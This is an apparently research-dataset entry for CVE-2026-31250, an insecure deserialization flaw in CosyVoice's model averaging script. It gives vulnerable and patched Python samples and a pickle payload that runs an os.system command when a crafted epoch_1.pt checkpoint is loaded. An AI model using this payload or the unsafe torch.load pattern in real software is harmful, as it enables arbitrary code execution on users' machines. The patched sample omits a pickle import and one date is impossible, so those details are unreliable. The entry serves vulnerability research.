VAITP Dataset

← Back to the dataset

CVE-2026-31250

Insecure deserialization in CosyVoice's model averaging tool allows RCE.

  • CVSS 7.3
  • CWE-502
  • Input Validation and Sanitization
  • Local

CosyVoice thru commit 6e01309e01bc93bbeb83bdd996b1182a81aaf11e (2025-30-21) contains an insecure deserialization vulnerability (CWE-502) in its average_model.py model averaging tool. The script loads PyTorch checkpoint files (epoch_*.pt) for model averaging using torch.load() without enabling the weights_only=True security parameter. This allows the deserialization of arbitrary Python objects via the pickle module. An attacker can exploit this by providing malicious checkpoint files within a directory. When a victim uses the tool to average models from this directory, arbitrary code is executed on the victim's system.

CVSS base score
7.3
Published
2026-05-11
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Timing/Serialization
Code defect classification
Serialization Issues
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Local
Impact
Arbitrary Code Execution
Affected component
CosyVoice

Solution

Update to commit `4366b610c3c6f626155681944e05445214736f56` or a more recent version.

Vulnerable code sample

import os
import torch
import glob
import argparse
from collections import OrderedDict

def average_checkpoints(model_dir, output_path):
    param_dict = OrderedDict()
    param_keys = None
    new_state = None
    num_models = 0

    checkpoint_files = glob.glob(os.path.join(model_dir, "epoch_*.pt"))

    if not checkpoint_files:
        print(f"No checkpoint files found in {model_dir}")
        return

    for f in checkpoint_files:
        print(f"Processing {f}")

        # Vulnerable line: Deserializes the file without security checks.
        # A malicious .pt file can execute arbitrary code here.
        state = torch.load(f, map_location="cpu")

        if "model" in state:
            state = state["model"]

        if new_state is None:
            new_state = state
        else:
            for k, v in state.items():
                if k in new_state:
                    new_state[k] += v

        num_models += 1

    if new_state is not None and num_models > 0:
        for k in new_state:
            if new_state[k].is_floating_point():
                new_state[k] /= num_models
            else:
                new_state[k] //= num_models

        print(f"Averaged {num_models} models. Saving to {output_path}")
        torch.save({"model": new_state}, output_path)
    else:
        print("No models were averaged.")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Average PyTorch model checkpoints.")
    parser.add_argument("--model-dir", required=True, type=str, help="Directory containing the .pt checkpoint files.")
    parser.add_argument("--output-path", required=True, type=str, help="Path to save the averaged model checkpoint.")
    args = parser.parse_args()

    average_checkpoints(args.model_dir, args.output_path)

Patched code sample

import torch
import os
import glob

def average_models_safely(model_dir: str):
    """
    Represents the fixed model averaging tool.

    This function safely loads PyTorch checkpoint files from a directory
    by using the `weights_only=True` parameter in `torch.load()`. This
    prevents the deserialization of arbitrary Python objects, mitigating
    the risk of remote code execution from malicious checkpoint files.
    """
    checkpoint_paths = glob.glob(os.path.join(model_dir, "epoch_*.pt"))

    if not checkpoint_paths:
        print(f"No model checkpoints found in '{model_dir}'.")
        return

    print(f"Found {len(checkpoint_paths)} checkpoints for averaging.")
    
    # Placeholder for the averaged model state
    averaged_state_dict = None
    
    for i, ckpt_path in enumerate(checkpoint_paths):
        print(f"Loading: {os.path.basename(ckpt_path)}")
        
        # --- THE FIX ---
        # The vulnerable version was: torch.load(ckpt_path)
        # The fix is to add `weights_only=True`, which ensures that only tensors
        # (model weights, biases, etc.) are loaded, and no arbitrary Python
        # code (via the underlying pickle module) can be executed.
        try:
            state_dict = torch.load(ckpt_path, weights_only=True)
        except (RuntimeError, pickle.UnpicklingError) as e:
            print(f"Could not load {ckpt_path} safely. It may be corrupt or malicious. Skipping. Error: {e}")
            continue
        # --- END OF FIX ---
        
        # Simple averaging logic (for demonstration purposes)
        if averaged_state_dict is None:
            averaged_state_dict = state_dict
        else:
            for key in averaged_state_dict:
                if key in state_dict:
                    # Naive averaging for demonstration
                    averaged_state_dict[key] = (averaged_state_dict[key] * i + state_dict[key]) / (i + 1)

    if averaged_state_dict:
        print("\nModel averaging complete.")
        # In a real tool, this state_dict would be saved to a new file.
        # torch.save(averaged_state_dict, "averaged_model.pt")
    else:
        print("\nNo valid models were averaged.")

Payload

import torch
import os

class ArbitraryCodeExecutor:
    def __reduce__(self):
        command = "touch /tmp/pwned"
        return (os.system, (command,))

malicious_object = ArbitraryCodeExecutor()

# Save the malicious object to a file named like a model checkpoint.
# This file, when loaded by the vulnerable script, will trigger the exploit.
torch.save(malicious_object, 'epoch_1.pt')

Cite this entry

@misc{vaitp:cve202631250,
  title        = {{Insecure deserialization in CosyVoice's model averaging tool allows RCE.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-31250},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-31250/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::